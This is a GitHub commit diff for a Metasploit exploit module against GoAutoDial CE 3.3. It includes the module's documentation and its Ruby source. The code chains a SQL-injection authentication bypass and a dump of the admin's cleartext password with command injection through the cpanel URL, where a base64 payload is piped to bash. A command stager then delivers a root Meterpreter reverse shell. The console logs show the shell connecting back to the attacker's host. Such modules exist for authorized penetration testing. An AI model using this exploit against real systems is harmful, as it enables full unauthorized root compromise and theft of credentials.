Skip to content

Commit 8e2ff7a

Browse files
bcolespbarry-r7
authored andcommitted
Add command stager and code cleanup
1 parent b3be89b commit 8e2ff7a

File tree

2 files changed

+108
-87
lines changed

2 files changed

+108
-87
lines changed
Lines changed: 28 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,52 +1,51 @@
11
## Description
2+
23
This module exploits a SQL injection flaw and command injection flaw within GoAutoDial CE 3.3, which permits authentication bypass and a complete compromise of the underlying system with root privileges. This module also extracts the administrative users password from the underlying database.
34

45
## Affected software
6+
57
GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
68
Refer to: https://www.exploit-db.com/exploits/36807/
79

810
## Verification
9-
List the steps needed to make sure this thing works
1011

1112
- Start `msfconsole`
1213
- Do `use exploit/linux/http/goautodial_3_rce_command_injection`
13-
- Do `set payload cmd/unix/reverse_bash`
1414
- Do `set RHOST <IP>`
1515
- Do `set LHOST <IP>`
1616
- Do `set LPORT <PORT>`
17+
- Do `run`
1718
- Wait for shell
19+
20+
## Scenarios
21+
1822
```
23+
msf > use exploit/linux/http/goautodial_3_rce_command_injection
24+
msf exploit(goautodial_3_rce_command_injection) > set rhost 172.16.191.150
25+
rhost => 172.16.191.150
1926
msf exploit(goautodial_3_rce_command_injection) > check
20-
[+] 192.168.0.76:443 The target is vulnerable.
21-
msf exploit(goautodial_3_rce_command_injection) > exploit -z
22-
23-
[*] Started reverse TCP handler on 192.168.0.11:4444
24-
[*] 192.168.0.76:443 - Trying SQL injection...
25-
[+] Authentication Bypass (SQLi) was successful
26-
[*] 192.168.0.76:443 - Dumping admin password...
27-
[+] admin|goautodial|Admin|||Y
28-
[*] 192.168.0.76:443 - Sending payload...waiting for connection
29-
[*] Command shell session 7 opened (192.168.0.11:4444 -> 192.168.0.76:37338) at 2017-06-18 01:40:41 +1000
30-
[*] Session 7 created in the background.
31-
msf exploit(goautodial_3_rce_command_injection) > sessions -u 7
32-
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [7]
33-
34-
[*] Upgrading session ID: 7
35-
[*] Starting exploit/multi/handler
36-
[*] Started reverse TCP handler on 192.168.0.11:4433
37-
[*] Starting the payload handler...
38-
[*] Sending stage (797784 bytes) to 192.168.0.76
39-
[*] Meterpreter session 8 opened (192.168.0.11:4433 -> 192.168.0.76:58124) at 2017-06-18 01:41:04 +1000
40-
[*] Command stager progress: 100.00% (668/668 bytes)
41-
msf exploit(goautodial_3_rce_command_injection) > sessions -i 8
42-
[*] Starting interaction with 8...
27+
[+] 172.16.191.150:443 The target is vulnerable.
28+
msf exploit(goautodial_3_rce_command_injection) > set lhost 172.16.191.181
29+
lhost => 172.16.191.181
30+
msf exploit(goautodial_3_rce_command_injection) > run
31+
32+
[*] Started reverse TCP handler on 172.16.191.181:4444
33+
[*] 172.16.191.150:443 - Trying SQL injection...
34+
[+] 172.16.191.150:443 - Authentication Bypass (SQLi) was successful
35+
[*] 172.16.191.150:443 - Dumping admin password...
36+
[+] 172.16.191.150:443 - Found credentials: admin|goautodial|Admin|||Y
37+
[*] 172.16.191.150:443 - Sending payload...
38+
[*] Command Stager progress - 68.67% done (798/1162 bytes)
39+
[*] Sending stage (2854264 bytes) to 172.16.191.150
40+
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.150:52876) at 2017-07-02 11:08:02 -0400
41+
[*] Command Stager progress - 100.00% done (1162/1162 bytes)
4342
4443
meterpreter > getuid
4544
Server username: uid=0, gid=0, euid=0, egid=0
4645
meterpreter > sysinfo
47-
Computer : test
48-
OS : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
46+
Computer : go.goautodial.org
47+
OS : CentOS 5.11 (Linux 2.6.18-407.el5)
4948
Architecture : x64
50-
Meterpreter : x86/linux
51-
49+
Meterpreter : x64/linux
5250
```
51+

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 80 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -7,30 +7,38 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
1011

11-
def initialize(info={})
12+
def initialize(info = {})
1213
super(update_info(info,
13-
'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
14-
'Description' => %q{
15-
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
14+
'Name' => 'GoAutoDial 3.3 Authentication Bypass / Command Injection',
15+
'Description' => %q{
16+
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges.
17+
18+
This module has been tested successfully on GoAutoDial version 3.3-1406088000.
1619
},
17-
'License' => MSF_LICENSE,
18-
'Author' =>
20+
'License' => MSF_LICENSE,
21+
'Author' =>
1922
[
2023
'Chris McCurley', # Discovery & Metasploit module
2124
],
22-
'References' =>
25+
'References' =>
2326
[
2427
['CVE', '2015-2843'],
2528
['CVE', '2015-2845']
2629
],
27-
'Platform' => %w{unix},
28-
'Arch' => ARCH_CMD,
29-
'Targets' => [ ['Automatic', {} ] ],
30-
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
31-
'DefaultTarget' => 0,
32-
'Privileged' => false,
33-
'DisclosureDate' => 'Apr 21 2015'))
30+
'Platform' => 'linux',
31+
'Arch' => [ ARCH_X86, ARCH_X64 ],
32+
'Targets' => [ ['Automatic', {} ] ],
33+
'DefaultOptions' =>
34+
{
35+
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
36+
'CMDSTAGER::FLAVOR' => 'echo'
37+
},
38+
'CmdStagerFlavor' => %w{ echo printf wget },
39+
'DefaultTarget' => 0,
40+
'Privileged' => true,
41+
'DisclosureDate' => 'Apr 21 2015'))
3442

3543
register_options(
3644
[
@@ -42,100 +50,114 @@ def initialize(info={})
4250

4351

4452
def check
45-
res = check_version()
46-
if res and res.body =~ /1421902800/
47-
return Exploit::CheckCode::Safe
48-
else
49-
return Exploit::CheckCode::Vulnerable
53+
res = check_version
54+
55+
unless res
56+
vprint_status "#{peer} Connection failed"
57+
return CheckCode::Unknown
58+
end
59+
60+
unless res.code == 200 && res.body =~ /goautodial/
61+
return CheckCode::Safe
62+
end
63+
64+
unless res.body =~ /1421902800/
65+
return CheckCode::Vulnerable
5066
end
67+
68+
CheckCode::Safe
5169
end
5270

53-
def check_version()
71+
def check_version
5472
uri = target_uri.path
5573

5674
send_request_cgi({
57-
'method' => 'GET',
58-
'uri' => normalize_uri(uri, 'changelog.txt'),
59-
'headers' => {
75+
'uri' => normalize_uri(uri, 'changelog.txt'),
76+
'headers' => {
6077
'User-Agent' => 'Mozilla/5.0',
6178
'Accept-Encoding' => 'identity'
6279
}
6380
})
6481
end
6582

66-
def sqli_auth_bypass()
83+
def sqli_auth_bypass
6784
uri = target_uri.path
6885

6986
send_request_cgi({
70-
'method' => 'POST',
71-
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
72-
'headers' => {
87+
'method' => 'POST',
88+
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
89+
'headers' => {
7390
'User-Agent' => 'Mozilla/5.0',
7491
'Accept-Encoding' => 'identity'
7592
},
7693
'vars_post' => {
77-
'user_name' => 'admin',
78-
'user_pass' => '\'%20or%20\'1\'%3D\'1'
94+
'user_name' => 'admin',
95+
'user_pass' => "' or '"
7996
}
8097
})
8198
end
8299

83-
def sqli_admin_pass(cookies)
100+
def sqli_admin_pass
84101
uri = target_uri.path
85102

86103
send_request_cgi({
87-
'method' => 'GET',
88-
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
89-
'headers' => {
104+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', Rex::Text.uri_encode("' OR active='Y")),
105+
'cookie' => @cookie,
106+
'headers' => {
90107
'User-Agent' => 'Mozilla/5.0',
91-
'Accept-Encoding' => 'identity',
92-
'Cookie' => cookies
108+
'Accept-Encoding' => 'identity'
93109
}
94110
})
95111
end
96112

97113
#
98-
# Run the actual exploit
114+
# Run the command stager
99115
#
100-
def execute_command()
116+
def execute_command(cmd, opts = {})
101117

102-
encoded = Rex::Text.encode_base64("#{payload.encoded}")
103-
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
118+
params = "|echo -n #{Rex::Text.encode_base64(cmd)} |base64 --decode|bash"
104119
uri = target_uri.path
105120

106121
send_request_cgi({
107-
'method' => 'GET',
108-
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
109-
'headers' => {
122+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', Rex::Text.uri_encode(params)),
123+
'cookie' => @cookie,
124+
'headers' => {
110125
'User-Agent' => 'Mozilla/5.0',
111-
'Accept-Encoding' => 'identity',
112-
'Cookie' => @cookie
126+
'Accept-Encoding' => 'identity'
113127
}
114128
})
115129
end
116130

131+
def exploit
132+
print_status("#{peer} - Trying SQL injection...")
133+
res = sqli_auth_bypass
117134

118-
def exploit()
119-
print_status("#{rhost}:#{rport} - Trying SQL injection...")
120-
res1 = sqli_auth_bypass()
135+
unless res
136+
fail_with(Failure::Unknown, 'Connection failed')
137+
end
121138

122-
if res1 && res1.code == 200
123-
print_good('Authentication Bypass (SQLi) was successful')
139+
if res.code == 200 && res.get_cookies.include?('go_session')
140+
print_good("#{peer} - Authentication Bypass (SQLi) was successful")
124141
else
125-
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
142+
fail_with(Failure::NotVulnerable, "Run 'check' command to identify whether the auth bypass has been fixed")
126143
end
127144

128-
@cookie = res1.get_cookies
129-
print_status("#{rhost}:#{rport} - Dumping admin password...")
130-
res = sqli_admin_pass(@cookie)
145+
@cookie = res.get_cookies
146+
print_status("#{peer} - Dumping admin password...")
147+
res = sqli_admin_pass
148+
149+
unless res
150+
fail_with(Failure::Unknown, 'Connection failed')
151+
end
131152

132-
if res
133-
print_good(res.body)
153+
# Example response: admin|goautodial|Admin|||Y
154+
if res.body.include?('|')
155+
print_good("#{peer} - Found credentials: #{res.body}")
134156
else
135-
print_error('Error: No creds returned, possible mitigations are in place.')
157+
fail_with(Failure::NotVulnerable, 'No creds returned, possible mitigations are in place.')
136158
end
137-
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")
138159

139-
execute_command()
160+
print_status("#{peer} - Sending payload...")
161+
execute_cmdstager(:linemax => 800)
140162
end
141163
end

0 commit comments

Comments
 (0)